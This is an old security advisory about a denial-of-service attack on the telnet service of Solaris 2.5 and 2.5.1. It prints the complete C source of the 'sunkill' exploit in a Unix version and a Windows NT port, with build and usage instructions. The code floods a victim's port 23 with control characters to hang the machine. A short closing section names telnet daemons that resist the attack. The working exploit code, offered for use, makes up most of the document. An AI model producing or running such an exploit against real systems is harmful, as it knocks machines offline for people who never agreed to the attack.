COMMAND
see below for exploit program (telnet port)
SYSTEMS AFFECTED
Solaris 2.5, 2.5.1
PROBLEM
Here is a little program reputed to make Solaris 2.5 machines
totally unresponsive for the duration of the attack. You need a
real internet connection from the attacker to the victim, but
very little bandwidth is required to keep the victim "down 'n out"
once the attack is underway. If the output of dots stops for long
pauses, the attack is working. If the dots keep coming fast or
you get a SIGPIPE, the attack didn't work.
On a Solaris 2.6 sun4c machine (an old SS1+ PPP server) it seems
to hang the machine for about 30-45 seconds, and then it recovers.
It looks like Solaris 2.6 isn't vulnerable to this attack from a
crashing standpoint, but it's quite effective as a denial of
service attack.
The victim must offer a login prompt on port 23. Exploit follows
(original and NT port follows):
/*
** To make, if your system is BSD'ish: gcc <thisfile>
** ...if your system is SysV'ish: gcc -lnsl -lsocket <thisfile>
**
** Usage: a.out <victim's hostname>
**
** Have phun!
*/
#include <signal.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <arpa/telnet.h>
#include <string.h>
#include <unistd.h>
#define BUFSIZE 100
#define DOTS
void catchit(void)
{
printf("\nCaught SIGPIPE -- your link may be too slow.\n");
exit(1);
}
int main(int argc, char *argv[])
{
unsigned char kludge_telopt[] = {IAC,WONT,TELOPT_TTYPE,IAC,DO, \
TELOPT_SGA,IAC,WONT,TELOPT_XDISPLOC,IAC,WONT,TELOPT_NAWS,IAC,WONT, \
TELOPT_OLD_ENVIRON,IAC,WONT,TELOPT_NEW_ENVIRON,IAC,DO,TELOPT_ECHO};
unsigned char nastybuf[BUFSIZE];
struct sockaddr_in sin;
struct servent *sp;
struct hostent *hp;
int s;
typedef void (*sig_t) (int);
signal(SIGPIPE,(sig_t)catchit);
memset(nastybuf,4,BUFSIZE); /* ascii 4 = ^D */
if (!(s = socket(AF_INET, SOCK_STREAM, 0))) {
printf("no socket\n");
exit(1);
}
if (!(hp = gethostbyname(argv[1]))) {
printf("unknown host\n");
exit(1);
}
bzero(&sin,sizeof(sin));
bcopy(hp->h_addr,(char *)&sin.sin_addr,hp->h_length);
sin.sin_family = AF_INET;
sp = getservbyname("telnet","tcp");
sin.sin_port = sp->s_port;
if (connect(s,(struct sockaddr *)&sin,sizeof(sin)) == -1) {
printf("can't connect to host\n");
exit(1);
}
printf("connected to %s\n",argv[1]);
write(s,kludge_telopt,21); /* kludge some telnet negotiation */
/* "Let them eat ^Ds..." */
while (write(s,nastybuf,BUFSIZE) != -1) {
#ifdef DOTS
write(STDOUT_FILENO,".",1);
#endif
}
}
Sun killer - NT port:
#ifdef WIN32
#include <winsock.h>
#include <stdio.h>
/*NT doesn't have <arpa/telnet.h>
* so swipe the BSD header and stick it in your
* working dir*/
#include "telnet.h"
#else
#include <signal.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <arpa/telnet.h>
#include <string.h>
#include <unistd.h>
#endif
#define BUFSIZE 100
#define DOTS
void catchit(void)
{
printf("\nCaught SIGPIPE -- your link may be too slow.\n");
exit(1);
}
#ifdef WIN32
void InitWinsock(void)
{
WORD VersionRequested;
WSADATA WsaData;
VersionRequested = MAKEWORD(1, 1);
if(WSAStartup(VersionRequested, &WsaData) != 0)
{
printf("Could not initialize Winsock\n");
exit(-1);
}
}
#endif
int main(int argc, char *argv[])
{
unsigned char kludge_telopt[] = {IAC,WONT,TELOPT_TTYPE,IAC,DO, \
TELOPT_SGA,IAC,WONT,TELOPT_XDISPLOC,IAC,WONT,TELOPT_NAWS,IAC,WONT, \
TELOPT_OLD_ENVIRON,IAC,WONT,TELOPT_NEW_ENVIRON,IAC,DO,TELOPT_ECHO};
unsigned char nastybuf[BUFSIZE];
struct sockaddr_in sin;
struct servent *sp;
struct hostent *hp;
int s;
#ifndef WIN32
typedef void (*sig_t) (int);
signal(SIGPIPE,(sig_t)catchit);
#else
InitWinsock();
#endif
memset(nastybuf,4,BUFSIZE); /* ascii 4 = ^D */
if (!(s = socket(AF_INET, SOCK_STREAM, 0))) {
printf("no socket\n");
exit(1);
}
if (!(hp = gethostbyname(argv[1]))) {
printf("unknown host\n");
exit(1);
}
memset(&sin, 0, sizeof(sin));
memcpy((char *)&sin.sin_addr, hp->h_addr, hp->h_length);
sin.sin_family = AF_INET;
sp = getservbyname("telnet","tcp");
sin.sin_port = sp->s_port;
if (connect(s, (struct sockaddr *)&sin, sizeof(sin)) == -1) {
printf("can't connect to host\n");
exit(1);
}
printf("connected to %s\n", argv[1]);
send(s, kludge_telopt, 21, 0); /* kludge some telnet negotiation */
/* "Let them eat ^Ds..." */
while (send(s, nastybuf, BUFSIZE, 0) != -1) {
#ifdef DOTS
putchar('.');
#endif
}
return 0;
}
SOLUTION
This isn't 100% -- some machines resist, and you may have to try
multiple times on some machines, but with a few tries most 2.5
machines seem to bite it hard. No security measure so far.
Note however that it appears that sunkill.c does not have any
appreciable affect on a Solaris 2.5.1 system when they are running
the MIT Kerberos v5 1.0.4 suite of network authentication
utilities (telnetd, rlogind, etc...).
Wieste Venema's telnetd (included in his logdaemon package) is
immune to this attack. This just might be the quickfix people
are looking for. You can find it at:
ftp://ftp.win.tue.nl/pub/security/logdaemon-5.6.tar.gz